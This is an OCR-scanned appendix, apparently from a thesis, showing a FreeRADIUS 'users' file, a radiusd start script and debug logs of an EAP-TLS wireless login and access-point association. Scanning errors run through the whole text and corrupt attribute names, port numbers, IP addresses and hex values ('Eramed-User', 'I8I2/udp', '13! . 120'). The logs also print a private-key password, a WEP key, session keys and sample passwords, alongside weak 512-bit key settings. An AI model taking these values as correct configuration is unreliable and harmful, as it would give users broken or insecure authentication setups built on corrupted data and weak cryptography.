#  Indented  (with  the  tab  eharaeter)  lines  following  the  first 

#  line  indieate  the  eonfiguration  values  to  be  passed  baek  to 

#  the  eomm  server  to  allow  the  initiation  of  a  user  session. 

#  This  ean  inelude  things  like  the  PPP  eonfiguration  values 

#  or  the  host  to  log  the  user  onto. 

# 

#  You  ean  inelude  another  'users'  file  with  '$INCLUDE  users. other' 

# 

# 

#  For  a  list  of  RADIUS  attributes,  and  links  to  their  definitions, 

#  see; 

# 

#  http  ://www .  freeradius .  org/ rfe/ attributes .  html 

# 

# 

#  Deny  aeeess  for  a  speeifie  user.  Note  that  this  entry  MUST 

#  be  before  any  other  'Auth-Type'  attribute  whieh  results  in  the  user 

#  being  authentieated. 

# 

#  Note  that  there  is  NO  'Fall-Through'  attribute,  so  the  user  will  not 

#  be  given  any  additional  resourees. 

# 

#lameuser  Auth-Type  :=  Rejeet 

#  Reply-Message  =  "Your  aeeount  has  been  disabled." 

# 

#  Deny  aeeess  for  a  group  of  users. 

# 
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#  Note  that  there  is  NO  'Fall-Through'  attribute,  so  the  user  will  not 

#  be  given  any  additional  resources. 

# 

#DEFAULT  Group  ==  "disabled",  Auth-Type  :=  Reject 

#  Reply-Message  =  "Your  account  has  been  disabled." 

# 

# 

#  This  is  a  complete  entry  for  "steve".  Note  that  there  is  no  Fall-Through 

#  entry  so  that  no  DEFAULT  entry  will  be  used,  and  the  user  will  NOT 

#  get  any  attributes  in  addition  to  the  ones  listed  here. 

# 

#steve  Auth-Type  :=  Local,  User-Password  ==  "testing" 

#  Service-Type  =  Eramed-User, 

#  Eramed-Protocol  =  PPP, 

#  Eramed-IP -Address  =  172.16.3.33, 

#  Eramed-IP -Netmask  =  255.255.255.0, 

#  Eramed-Routing  =  Broadcast-Listen, 

#  Eramed-Eilter-Id  =  "std.ppp", 

#  Eramed-MTU=  1500, 

#  Eramed-Compression  =  Van-Jacobsen-TCP-IP 

# 

#  This  is  an  entry  for  a  user  with  a  space  in  their  name. 

#  Note  the  double  quotes  surrounding  the  name. 

# 

#"John  Doe"  Auth-Type  :=  Local,  User-Password  ==  "hello" 

#  Reply-Message  =  "Hello,  %u" 


#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 

#!!!!!!!!! Padded  by  the  designers!!!!!!!!!!!!!!!!!!!!!! 

# 

newxpclient  Auth-Type  :=  EAP 

test  Auth-Type  :=  Local,  User-Password  ==  "test" 
Reply-Message  =  "hello, %u" 
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 

# 

#  Dial  user  back  and  telnet  to  the  default  host  for  that  port 

# 

#Deg  Auth-Type  :=  Local,  User-Password  ==  "ge55ged" 

#  Service-Type  =  Callback-Login-User, 

#  Login-IP-Host  =  0.0. 0.0, 

#  Callback-Number  =  "9,5551212", 

#  Login-Service  =  Telnet, 
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# 


Login-TCP-Port  =  Telnet 


# 

#  Another  complete  entry.  After  the  user  "dialbk"  has  logged  in,  the 

#  connection  will  be  broken  and  the  user  will  be  dialed  back  after  which 

#  he  will  get  a  connection  to  the  host  "timesharel". 

# 

#dialbkAuth-Type  :=  Local,  User-Password  ==  "callme" 

#  Service-Type  =  Callback-Login-User, 

#  Login-IP-Host  =  timeshare  1 , 

#  Login-Service  =  PortMaster, 

#  Callback-Number  =  "9,1-800-555-1212" 

# 

#  user  "swilson"  will  only  get  a  static  IP  number  if  he  logs  in  with 

#  a  framed  protocol  on  a  terminal  server  in  Alphen  (see  the  huntgroups  file). 

# 

#  Note  that  by  setting  "Fall-Through",  other  attributes  will  be  added  from 

#  the  following  DEFAULT  entries 

# 

#swilson  Service-Type  ==  Framed-User,  Huntgroup-Name  ==  "alphen" 

#  Framed-IP -Address  =  192.168.1.65, 

#  Fall-Through  =  Yes 

# 

#  If  the  user  logs  in  as  'username,  shelf,  then  authenticate  them 

#  against  the  system  database,  give  them  shell  access,  and  stop  processing 

#  the  rest  of  the  file. 

# 

#DEFAULT  Suffix  ==  ".shell",  Auth-Type  :=  System 

#  Service-Type  =  Eogin-User, 

#  Eogin-Service  =  Telnet, 

#  Eogin-IP-Host  =  your.shell. machine 

# 

#  The  rest  of  this  file  contains  the  several  DEEAUET  entries. 

#  DEEAULT  entries  match  with  all  login  names. 

#  Note  that  DEEAUET  entries  can  also  Eall-Through  (see  first  entry). 

#  A  name-value  pair  from  a  DEEAUET  entry  will  _NEVER_  override 

#  an  already  existing  name-value  pair. 

# 

# 

#  Eirst  setup  all  accounts  to  be  checked  against  the  UNIX  /etc/passwd. 

#  (Unless  a  password  was  already  given  earlier  in  this  file). 
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# 

DEFAULT  Auth-Type  :=  System 
Fall-Through  =  1 


# 

#  Set  up  different  IP  address  pools  for  the  terminal  servers. 

#  Note  that  the  "+"  behind  the  IP  address  means  that  this  is  the  "base" 

#  IP  address.  The  Port-Id  (SO,  SI  ete)  will  be  added  to  it. 

# 

#DEFAULT 
# 

# 

#DEFAULT 
# 

# 

# 

#  Defaults  for  all  framed  connections. 

# 

DEFAULT  Service-Type  ==  Framed-User 
Framed-IP -Address  =  255.255.255.254, 

Framed-MTU  =  576, 

Service-Type  =  Framed-User, 

Fall-Through  =  Yes 


Service-Type  ==  Framed-User,  Huntgroup-Name  ==  "alphen" 
Framed-IP -Address  =  192.168.1.32+, 

Fall-Through  =  Yes 

Service-Type  ==  Framed-User,  Huntgroup-Name  ==  "delft" 
Framed-IP -Address  =  192. 168.2. 32+, 

Fall-Through  =  Yes 


# 

#  Default  for  PPP;  dynamic  IP  address,  PPP  mode,  VJ-compression. 

#  NOTE:  we  do  not  use  Hint  =  "PPP",  since  PPP  might  also  be  auto-detected 

#  by  the  terminal  server  in  which  case  there  may  not  be  a  "P"  suffix. 

#  The  terminal  server  sends  "Framed-Protocol  =  PPP"  for  auto  PPP. 

# 

DEFAULT  Framed-Protocol  ==  PPP 
Framed-Protocol  =  PPP, 

Framed-Compression  =  Van-Jacobson-TCP-IP 


# 

#  Default  for  CSLIP:  dynamic  IP  address,  SLIP  mode,  VJ-compression. 

# 

DEFAULT  Hint  =  "CSLIP" 

Framed-Protocol  =  SLIP, 

Framed-Compression  =  Van-Jacobson-TCP-IP 


# 

#  Default  for  SLIP:  dynamic  IP  address,  SLIP  mode. 
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# 

DEFAULT  Hint  ==  "SLIP" 
Framed-Protocol  =  SLIP 


# 

#  Last  default:  rlogin  to  our  main  server. 

# 

#DEFAULT 

#  Service-Type  =  Login-User, 

#  Login-Service  =  Rlogin, 

#  Login-IP-Host  =  shellbox.ispdomain.com 

## 

#  #  Last  default:  shell  on  the  local  terminal  server. 

## 

#  DEFAULT 

#  Service-Type  =  Shell-User 

#  On  no  match,  the  user  is  denied  access. 


E,  RADIUSD  RUNNING  SCRIPT 

#!/bin/sh  -x 

LD_LIBRARY_PATH=/usr/local/openssl/lib 

LD_PRELOAD=/usr/locaLopenssl/lib/libcrypto.so 

export  LD  LIBRARY  PATH  LD  PRELOAD 

/usr/local/sbin/radiusd  -X  -A  $@ 
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APPENDIX  E 


A.  AUTHENTICATION  SERVER  SUCCESSFUL  AUTHENTICATION 
LOGS 

starting  -  reading  configuration  files  . . . 
reread  config:  reading  radiusd.conf 
Config:  including  file:  /etc/raddb/proxy . conf 

Config:  including  file:  /etc/raddb/clients . conf 

Config:  including  file:  /etc/raddb/snmp . conf 

Config:  including  file:  /etc/raddb/sql . conf 

main:  prefix  =  "/usr/local" 
main:  localstatedir  =  "/usr/local/var" 
main:  logdir  =  "/usr/local/var/log/radius" 
main:  libdir  =  "/usr/local/lib" 

main:  radacctdir  =  "/usr/local/var/log/radius/radacct" 

main:  hostname_lookups  =  no 

main:  max  request  time  =  30 

main:  cleanup  delay  =  5 

main:  max  requests  =  1024 

main:  delete  blocked  requests  =  0 

main:  port  =  0 

main:  allow_core_dumps  =  no 

main:  log  stripped_names  =  no 

main:  log  file  =  " /usr/local/var/log/radius/radius . log" 

main:  log  auth  =  no 

main:  log  auth_badpass  =  no 

main:  log  auth_goodpass  =  no 

main:  pidfile  =  " /usr/local/var/run/radiusd/radiusd . pid" 

main:  user  =  "(null)" 

main:  group  =  "(null)" 

main:  usercollide  =  no 

main:  lower_user  =  "no" 

main:  lower  pass  =  "no" 

main:  nospace  user  =  "no" 

main:  nospace  pass  =  "no" 

main:  checkrad  =  " /usr/local/sbin/checkrad" 
main:  proxy_requests  =  yes 
proxy:  retry_delay  =  5 
proxy:  retry_count  =  3 
proxy:  synchronous  =  no 
proxy:  def ault_f allback  =  yes 
proxy:  dead_time  =  120 
proxy:  post  proxy  authorize  =  yes 
proxy:  wake  all  if  all  dead  =  no 
security:  max  attributes  =  200 
security:  reject_delay  =  1 
security:  status_server  =  no 
main:  debug_level  =  0 
read  config  files:  reading  dictionary 
read  config  files:  reading  naslist 

Using  deprecated  naslist  file.  Support  for  this  will  go  away  soon. 
read_config  files:  reading  clients 

Using  deprecated  clients  file.  Support  for  this  will  go  away  soon, 
read  config  files:  reading  realms 
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Using  deprecated  realms  file.  Support  for  this  will  go  away  soon. 

radiusd:  entering  modules  setup 

Module:  Library  search  path  is  /usr/local/lib 

Module:  Loaded  expr 

Module:  Instantiated  expr  (expr) 

Module:  Loaded  System 
Unix:  cache  =  yes 
Unix:  passwd  =  " /etc/passwd" 

Unix:  shadow  =  " /etc/shadow" 

Unix:  group  =  "/etc/group" 

Unix:  radwtmp  =  "/usr/local/var/log/radius/radwtmp" 

Unix:  usegroup  =  no 
Unix:  cache_reload  =  600 

HASH:  Reinitializing  hash  structures  and  lists  for  caching... 

HASH:  user  root  found  in  hashtable  bucket  11726 

HASH:  user  bin  found  in  hashtable  bucket  86651 

HASH:  user  daemon  found  in  hashtable  bucket  11668 

HASH:  user  adm  found  in  hashtable  bucket  26466 

HASH:  user  ip  found  in  hashtable  bucket  54068 

HASH:  user  sync  found  in  hashtable  bucket  42895 

HASH:  user  shutdown  found  in  hashtable  bucket  71746 

HASH:  user  halt  found  in  hashtable  bucket  7481 

HASH:  user  mail  found  in  hashtable  bucket  79471 

HASH:  user  news  found  in  hashtable  bucket  5375 

HASH:  user  uucp  found  in  hashtable  bucket  38541 

HASH:  user  operator  found  in  hashtable  bucket  21748 

HASH:  user  games  found  in  hashtable  bucket  47657 

HASH:  user  gopher  found  in  hashtable  bucket  47357 

HASH:  user  ftp  found  in  hashtable  bucket  56226 

HASH:  user  nobody  found  in  hashtable  bucket  99723 

HASH:  user  rpm  found  in  hashtable  bucket  72383 

HASH:  user  vcsa  found  in  hashtable  bucket  25959 

HASH:  user  nscd  found  in  hashtable  bucket  36306 

HASH:  user  sshd  found  in  hashtable  bucket  71560 

HASH:  user  rpc  found  in  hashtable  bucket  72373 

HASH:  user  rpcuser  found  in  hashtable  bucket  552 

HASH:  user  nfsnobody  found  in  hashtable  bucket  51830 

HASH:  user  mailnull  found  in  hashtable  bucket  78086 

HASH:  user  smmsp  found  in  hashtable  bucket  13600 

HASH:  user  pcap  found  in  hashtable  bucket  55326 

HASH:  user  xfs  found  in  hashtable  bucket  17213 

HASH:  user  ntp  found  in  hashtable  bucket  21418 

HASH:  user  gdm  found  in  hashtable  bucket  50360 

HASH:  user  oozan  found  in  hashtable  bucket  94479 

HASH:  user  amanda  found  in  hashtable  bucket  72438 

HASH:  Stored  31  entries  from  /etc/passwd 

HASH:  Stored  39  entries  from  /etc/group 

Module:  Instantiated  unix  (unix) 

Module:  Loaded  eap 
eap:  def ault_eap_type  =  "tls" 
eap:  timer  expire  =  60 
eap:  ignore_unknown  eap  types  =  no 
tls:  rsa_key_exchange  =  no 
tls:  dh_key_exchange  =  yes 
tls:  rsa  key  length  =  512 
tls:  dh  key  length  =  512 
tls:  verify  depth  =  0 


no 


tls:  CA  path  =  "(null)" 
tls:  pem_f ile_type  =  yes 

tls:  private_key_f lie  =  " /etc/ Ix/newradius . pern" 

tls:  certificate  file  =  " /etc/ Ix/newradius . pern" 

tls:  CA  file  =  " /etc/ Ix/root . pern" 

tls:  private  key  password  =  "whatever" 

tls:  dh  file  =  "/etc/lx/DH" 

tls:  random_file  =  " /etc/ Ix/random" 

tls:  fragment  size  =  1024 

tls:  include  length  =  yes 

tls:  check  crl  =  no 

rim  eap:  Loaded  and  initialized  type  tls 
rlm_eap:  Loaded  and  initialized  type  mschapv2 
Module:  Instantiated  eap  (eap) 

Module:  Loaded  preprocess 
preprocess:  huntgroups  =  "/etc/raddb/huntgroups" 
preprocess:  hints  =  "/etc/raddb/hints" 
preprocess:  with  ascend_hack  =  no 
preprocess:  ascend  channels  per  line  =  23 
preprocess:  with  ntdomain  hack  =  no 
preprocess:  with  specialix  jetstream  hack  =  no 
preprocess:  with  cisco  vsa  hack  =  no 
Module:  Instantiated  preprocess  (preprocess) 

Module:  Loaded  realm 
realm:  format  =  "suffix" 
realm:  delimiter  = 

Module:  Instantiated  realm  (suffix) 

Module:  Loaded  files 
files:  usersfile  =  "/etc/raddb/users" 
files:  acctusersf lie  =  "/etc/raddb/acct_users" 
files:  preproxy  usersfile  =  " /etc/raddb/preproxy  users" 
files:  compat  =  "no" 

Module:  Instantiated  files  (files) 

Module:  Loaded  Acct-Unique-Session-Id 
acct  unique:  key  =  "User-Name,  Acct-Session-Id,  NAS-IP-Address, 
Client-IP-Address,  NAS-Port-Id" 

Module:  Instantiated  acct_unique  (acct_unique) 

Module:  Loaded  detail 

detail:  detailfile  =  "/usr/local/var/log/radius/radacct/% {Client-IP- 
Address  } /detail-%Y%m%d" 
detail:  detailperm  =  384 
detail:  dirperm  =  493 
detail:  locking  =  no 
Module:  Instantiated  detail  (detail) 

Module:  Loaded  radutmp 

radutmp:  filename  =  "/usr/local/var/log/radius/radutmp" 
radutmp:  username  =  "%{ User-Name } " 
radutmp:  case_sensitive  =  yes 
radutmp:  check  with  nas  =  yes 
radutmp:  perm  =  384 
radutmp:  callerid  =  yes 
Module:  Instantiated  radutmp  (radutmp) 

Listening  on  IP  address  *,  ports  I8I2/udp  and  1813/udp,  with  proxy  on 
1814/udp. 

Ready  to  process  requests. 

rad  recv:  Access-Request  packet  from  host  131.120.8.145:32804,  id=0, 
length=l 60 
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User-Name  =  "newxpclient" 

NAS-IP-Address  =  131.120.8.145 
NAS-Port  =  1 

Called-Station-Id  =  "00-05-5D-D9-8D-AE : test" 

Calling-Station-Id  =  "00-05-5D-D9-57-59" 

Framed-MTU  =  2304 
NAS-Port-Type  =  Wireless-802.11 
Connect-Info  =  "CONNECT  11Mbps  802.11b" 

EAP-Message  =  "\002\001\000\020\001newxpclient" 
Message-Authenticator  =  0x7b47883e05d44aal3d69442f35dll78f 
modcall:  entering  group  authorize  for  request  0 

modcall [authorize] :  module  "preprocess"  returns  ok  for  request  0 
rim  eap:  EAP  packet  type  response  id  1  length  16 

rim  eap:  No  EAP  Start,  assuming  it's  an  on-going  EAP  conversation 
modcall [authorize] :  module  "eap"  returns  updated  for  request  0 

rim  realm:  No  '@'  in  User-Name  =  "newxpclient",  looking  up  realm 
NULL  ~ 

rim  realm:  No  such  realm  "NULL" 

modcall [authorize] :  module  "suffix"  returns  noop  for  request  0 
users:  Matched  newxpclient  at  101 
modcall [authorize] :  module  "files"  returns  ok  for  request  0 
modcall:  group  authorize  returns  updated  for  request  0 
rad  check  password:  Found  Auth-Type  EAP 
auth:  type  "EAP" 

modcall:  entering  group  authenticate  for  request  0 
rim  eap:  EAP  Identity 
rlm_eap:  processing  type  tls 
rlm_eap  tls:  Requiring  client  certificate 
rim  eap  tls:  Initiate 
rim  eap  tls:  Start  returned  1 

modcall [authenticate] :  module  "eap"  returns  handled  for  request  0 
modcall:  group  authenticate  returns  handled  for  request  0 
Sending  Access-Challenge  of  id  0  to  131.120.8.145:32804 
EAP-Message  =  "\001\002\000\006\r  " 

Message-Authenticator  =  0x00000000000000000000000000000000 
State  =  0xcabe64f58e2e52c0326344aeaf7ff 16d 
Finished  request  0 


Going  to  the  next  request 
Waking  up  in  1  seconds... 

rad  recv:  Access-Request  packet  from  host  131.120.8.145:32804,  id=12, 
length=l 1 64 

User-Name  =  "newxpclient" 

NAS-IP-Address  =  131.120.8.145 
NAS-Port  =  1 

Called-Station-Id  =  "00-05-5D-D9-8D-AE : test" 

Calling-Station-Id  =  "00-05-5D-D9-57-59" 

Framed-MTU  =  2304 
NAS-Port-Type  =  Wireless-802.11 
Connect-Info  =  "CONNECT  11Mbps  802.11b" 

EAP-Message  = 

"\002\017\003\344\r\200\000\000\003\332\026\003\001\003\252\013\000\002 

\232\000\002\227\000\002\2240\202\002\2200\202\001\371\240\003\002\001\ 

002\002\001\0020\r\006\t*\206H\206\367\r\001\001\004\005\0000vl\0130\t\ 

006\003U\004\006\023\002USl\0230\021\006\003U\004\010\023\nCalifornial\ 
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0210\017\006\003U\004\007\023\010Montereyl\r0\013\006\003U\004\n\023\00 
4NPGSl\r0\013\006\003U\004\013\023\004SAAMl ! 0\037\006\t*\206H\206\367\r 
\001\t\ 001 \026\022oozan@nps.navy.mil0\036\027\r0401 15004 027Z\027\r05011 
4004027Z0\201\214" 

EAP-Message  = 

"\007\023\010Montereyl\r0\013\006\003U\004\n\023\004NPGSl\r0\013\006\00 
3U\004\013\023\004SAAMl\0240\022\006\003U\004\003\023\013newxpclientl ! 0 
\037\006\t*\206H\206\367\r\001\t\001\026\022oozan@nps.navy.mil0\201\237 
0\r\006\t*\206H\206\367\r\001\001\001\005\000\003\201\215\0000\201\211\ 
002\201\201\000\266+\244#B\341Y\335\215\314\272\322 (P\263\353\355N\311\ 
037\235\323\203V4\256\275\311\277=\337I2 | \n\312\026\225 
\006\335w\023\014\265\302\350\276\335\330\234\224\346\373m\226\027\001\ 
n\002Y\322  ?y] \352\026\231%iF" 

EAP-Message  = 

"f\277\002\003\001\000\001\243\0270\0250\023\006\003U\035%\004\0140\n\0 

06\010+\006\001\005\005\007\003\0020\r\006\t*\206H\206\367\r\001\001\00 

4\005\000\003\201\201\000\301\211\227=\321\366c- 

\357Z\022 : 9\231\016\216A\363\352\356\276\246E\341\364+X"\352\316] \010\0 
31\335\251=U1\207D\003\000\330\312\361\002\247\210\0143 
o\327\2761, \0242\306\307\267\311 : /\373N\321\227\355\000\377\237x\302u\2 
70DBr\006 | \027SF\003\003\240\341\364X\367\203\277\315\302\027\331\331\2 
16xp  \245j@\271\2244\376: \364\330\374>\237>\367M\301" 

EAP-Message  = 

"\003=x7*\t*Aj\364\017\304\336\251\321\345\003\036\371y\252\253Va\211\3 
76\202\240\033P\222\210"\000\374Er\030U\204\326\355W\217n9\370B[\315Y]U 
\244h\375\r\332\033/\017\000\000\202\000\200#Di [\230g\337n\266NRA\240QN 
/c\261$\013\323v\344S\326T\2370RM\n\331\255\343}A\315\332\265\242\220\2 
20~\367\335\221Vd\227\266&z3EY\306\336x\206j \333\235\030\ 033X274 \350gO7 
\036\254\336\311\ 037 \\0\2 13X27 6L\322\224U\321\302Z\001@L\221\2 61X301 ' XO 
35"X2769@X270GX351M!X217V>X364X3557X246}X235X350X300X3366Y- 
7uX 033X037 X250qX331oX223X340" 

State  =  0x82f 684dced5c2fa94166bl538025a5bl 

Message-Authenticator  =  0xece082dddb31cdc0a636c05351531ab4 
modcall:  entering  group  authorize  for  request  12 

modcall [authorize] :  module  "preprocess"  returns  ok  for  request  12 
rim  eap:  EAP  packet  type  response  id  15  length  253 

rim  eap:  No  EAP  Start,  assuming  it's  an  on-going  EAP  conversation 
modcall [authorize] :  module  "eap"  returns  updated  for  request  12 
rim  realm:  No  '@'  in  User-Name  =  "newxpclient" ,  looking  up  realm 

NULL 

rim  realm:  No  such  realm  "NULL" 

modcall [authorize] :  module  "suffix"  returns  noop  for  request  12 
users:  Matched  newxpclient  at  101 
modcall [authorize] :  module  "files"  returns  ok  for  request  12 
modcall:  group  authorize  returns  updated  for  request  12 
rad  check  password:  Found  Auth-Type  EAP 
auth:  type  "EAP" 

modcall:  entering  group  authenticate  for  request  12 
rim  eap:  Request  found,  released  from  the  list 
rim  eap:  EAP  TYPE  -  tls 
rlm_eap:  processing  type  tls 
rim  eap_tls:  Authenticate 
rlm_eap_tls:  processing  TLS 
rlm_eap_tls:  Length  Included 

eaptls  verify  returned  11 

rim  eap  tls:  <<<  TLS  1.0  Handshake  [length  029e],  Certificate 
chain-depth=l , 
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error=0 

-->  User-Name  =  newxpclient 
-->  BUF-Name  =  ?  ?????? 

-->  subject  = 

/ C=US/ ST=Calif ornia/L=Monterey/ 0=NPGS/ OU=SAAM/Email=oozan@nps . navy.mil 
-->  issuer  = 

/ C=US/ ST=Calif ornia/L=Monterey/ 0=NPGS/ OU=SAAM/Email=oozan@nps . navy.mil 
-->  verify  return:! 
chain-depth=0 , 
error=0 

-->  User-Name  =  newxpclient 
-->  BUF-Name  =  newxpclient 
-->  subject  = 

/ C=US/ ST=Calif ornia/L=Monterey/ 0=NPGS/ OU=SAAM/ CN=newxpclient/Email=ooza 
n@nps .navy.mil 
-->  issuer  = 

/ C=US/ ST=Calif ornia/L=Monterey/ 0=NPGS/ OU=SAAM/Email=oozan@nps . navy.mil 
-->  verify  return:! 

TLS  accept:  SSLv3  read  client  certificate  A 

rim  eap  tls:  <<<  TLS  !.0  Handshake  [length  0086],  ClientKeyExchange 
TLS  accept:  SSLv3  read  client  key  exchange  A 

rim  eap  tls:  <<<  TLS  1.0  Handshake  [length  0086],  Certif icateVerif y 
TLS  accept:  SSLv3  read  certificate  verify  A 

rim  eap  tls:  <<<  TLS  1.0  ChangeCipherSpec  [length  0001] 
rim  eap  tls:  <<<  TLS  1.0  Handshake  [length  0010],  Finished 
TLS  accept:  SSLv3  read  finished  A 

rim  eap  tls:  >>>  TLS  1.0  ChangeCipherSpec  [length  0001] 

TLS  accept:  SSLv3  write  change  cipher  spec  A 

rim  eap  tls:  >>>  TLS  1.0  Handshake  [length  0010],  Finished 
TLS  accept:  SSLv3  write  finished  A 
TLS  accept:  SSLv3  flush  data 

undefined:  SSL  negotiation  finished  successfully 
SSL  Connection  Established 
eaptls_process  returned  13 

modcall [authenticate] :  module  "eap"  returns  handled  for  request  12 
modcall:  group  authenticate  returns  handled  for  request  12 
Sending  Access-Challenge  of  id  12  to  13! . 120 . 8 . 145 : 32804 
EAP-Message  = 

"\ 00! \020\0005\r\200\000\000\000+\024\003\001\ 000X001 \ 001 \026\003\001\0 
00 

\344\244\001\3!!\376T\242\022K! [2\365\345\262~2\274gFKR\274\334\27!\003 
\247\2!5\037\32!q(" 

Message-Authenticator  =  0x00000000000000000000000000000000 
State  =  0x2c0287!aafebad85e9d560273678347! 

Finished  request  12 
Going  to  the  next  request 
Waking  up  in  !  seconds... 

rad  recv:  Access-Request  packet  from  host  13! . 120 . 8 . 145 : 32804,  id=!3, 
length=! 68 

User-Name  =  "newxpclient" 

NAS-IP-Address  =  13! . 120 . 8 . 145 
NAS-Port  =  ! 

Called-Station-Id  =  "00-05-5D-D9-8D-AE : test" 

Calling-Station-Id  =  "00-05-5D-D9-57-59" 

Framed-MTU  =  2304 
NAS-Port-Type  =  Wireless-802.!! 

Connect-Info  =  "CONNECT  !!Mbps  802. !!b" 
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EAP-Message  =  "\002\020\000\006\r" 

State  =  0x2c02871aafebad85e9d5602736783471 

Message-Authenticator  =  0xblf4cfdc73e426a656047670cc908ef6 
modcall:  entering  group  authorize  for  request  13 

modcall [authorize] :  module  "preprocess"  returns  ok  for  request  13 
rim  eap:  EAP  packet  type  response  id  16  length  6 

rim  eap:  No  EAP  Start,  assuming  it's  an  on-going  EAP  conversation 
modcall [authorize] :  module  "eap"  returns  updated  for  request  13 
rim  realm:  No  '@'  in  User-Name  =  "newxpclient" ,  looking  up  realm 

NULL 

rim  realm:  No  such  realm  "NULL" 

modcall [authorize] :  module  "suffix"  returns  noop  for  request  13 
users:  Matched  newxpclient  at  101 
modcall [authorize] :  module  "files"  returns  ok  for  request  13 
modcall:  group  authorize  returns  updated  for  request  13 
rad  check  password:  Found  Auth-Type  EAP 
auth:  type  "EAP" 

modcall:  entering  group  authenticate  for  request  13 
rim  eap:  Request  found,  released  from  the  list 
rim  eap:  EAP  TYPE  -  tls 
rlm_eap:  processing  type  tls 
rim  eap  tls:  Authenticate 
rim  eap  tls:  processing  TLS 
rim  eap  tls:  Received  EAP-TLS  ACK  message 
rim  eap  tls:  ack  handshake  is  finished 
eaptls  verify  returned  3 
eaptls_process  returned  3 
rim  eap:  Freeing  handler 

modcall [authenticate] :  module  "eap"  returns  ok  for  request  13 
modcall:  group  authenticate  returns  ok  for  request  13 
Sending  Access-Accept  of  id  13  to  131.120.8.145:32804 
MS-MPPE-Recv-Key  = 

0xe9545bl80975cdfb5d0f982189e03b43602f6c475e4ee66d7d24783c056f314c 
MS-MPPE-Send-Key  = 

0xlf44ce961ecf533c728e731dffl44b918edla420fd83185e4ecc6b3c686a08b9 
EAP-Message  =  "\003\020\000\004" 

Message-Authenticator  =  0x00000000000000000000000000000000 
User-Name  =  "newxpclient" 

Finished  request  13 
Going  to  the  next  request 
Waking  up  in  1  seconds . . . 

-  Walking  the  entire  request  list  - 

Waking  up  in  2  seconds . . . 

-  Walking  the  entire  request  list  - 

Cleaning  up  request  4  ID  4  with  timestamp  4006d26e 

Cleaning  up  request  5  ID  5  with  timestamp  4006d26e 

Cleaning  up  request  6  ID  6  with  timestamp  4006d26e 

Cleaning  up  request  7  ID  7  with  timestamp  4006d26e 

Cleaning  up  request  8  ID  8  with  timestamp  4006d26e 

Waking  up  in  3  seconds... 

-  Walking  the  entire  request  list  - 

Cleaning  up  request  9  ID  9  with  timestamp  4006d27I 
Cleaning  up  request  10  ID  10  with  timestamp  4006d27I 

Cleaning  up  request  11  ID  11  with  timestamp  4006d271 

Cleaning  up  request  12  ID  12  with  timestamp  4006d271 

Cleaning  up  request  13  ID  13  with  timestamp  4006d271 

Nothing  to  do.  Sleeping  until  we  see  a  request. 
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B,  AUTHENTICATOR  SUCCESSFUL  SUPPLICANT  AUTHENTICATION 
LOG 


Opening  raw  packet  socket  for  ifindex  4 

Using  interface  wlanOap  with  hwaddr  00 : 05 : 5d : d9 : 8d : ae  and  ssid  'test' 

Default  WEP  key  -  hexdump ( len=5 ) :  8a  Oa  ef  db  b7 

Flushing  old  station  entries 

Deauthenticate  all  stations 

Received  30  bytes  management  frame 

dump:  bO  00  02  01  00  05  5d  d9  8d  ae  00  05  5d  d9  57  59  00  05  5d  d9  8d 
ae  aO  01  00  00  01  00  00  00 
MGMT 

mgmt : : auth 

authentication:  STA=00 : 05 : 5d:d9 : 57 : 59  auth  alg=0  auth  transaction=l 
status_code=0 
New  STA 

Station  00 : 05 : 5d:d9 : 57 : 59  authentication  OK  (open  system) 

Received  30  bytes  management  frame 

dump:  b2  00  3a  01  00  05  5d  d9  57  59  00  05  5d  d9  8d  ae  00  05  5d  d9  8d 
ae  20  44  00  00  02  00  00  00 
MGMT  (TX  callback)  ACK 
mgmt : : auth  cb 

Station  00 : 05 : 5d:d9 : 57 : 59  authenticated 
Received  40  bytes  management  frame 

dump:  00  00  02  01  00  05  5d  d9  8d  ae  00  05  5d  d9  57  59  00  05  5d  d9  8d 
ae  bO  01  01  00  01  00  00  04  74  65  73  74  01  04  82  84  Ob  16 
MGMT 

mgmt:: assoc  req 

association  request:  STA=00 : 05 : 5d:d9 : 57 : 59  capab_info=0x01 
listen  interval=l 
new  AID  1 

Station  00 : 05 : 5d:d9 : 57 : 59  association  OK  (aid  1) 

Received  36  bytes  management  frame 

dump:  12  00  3a  01  00  05  5d  d9  57  59  00  05  5d  d9  8d  ae  00  05  5d  d9  8d 
ae  30  44  01  00  00  00  01  cO  01  04  82  84  Ob  16 
MGMT  (TX  callback)  ACK 
mgmt:: assoc  resp  cb 

Station  00 : 05 : 5d:d9 : 57 : 59  associated  (aid  1) 

IEEE  802. IX:  Start  authentication  for  new  station  00 : 05 : 5d:d9 : 57 : 59 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  AUTH_PAE  entering  state  INITIALIZE 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  BE_AUTH  entering  state  INITIALIZE 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  AUTH_KEY_TX  entering  state 
NO_KE  Y_T  RAN  S  M I T 

IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  AUTH_PAE  entering  state  DISCONNECTED 
IEEE  802. IX:  Unauthorizing  station  00 : 05 : 5d:d9 : 57 : 59 
IEEE  802. IX:  Sending  canned  EAP  packet  FAILURE  to  00 : 05 : 5d : d9 : 57 : 5 9 
(identifier  0) 

IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  BE_AUTH  entering  state  IDLE 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  AUTH_PAE  entering  state  CONNECTING 
IEEE  802. IX:  Sending  EAP  Request-Identity  to  00 : 05 : 5d : d9 : 57 : 5 9 
(identifier  1) 

IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 


116 


Received  40  bytes  management  frame 

dump:  Oa  02  3a  01  00  05  5d  d9  57  59  00  05  5d  d9  8d  ae  00  05  5d  d9  8d 
ae  40  44  aa  aa  03  00  00  00  88  8e  01  00  00  04  04  00  00  04 
DATA  (TX  callback)  ACK 
Received  46  bytes  management  frame 

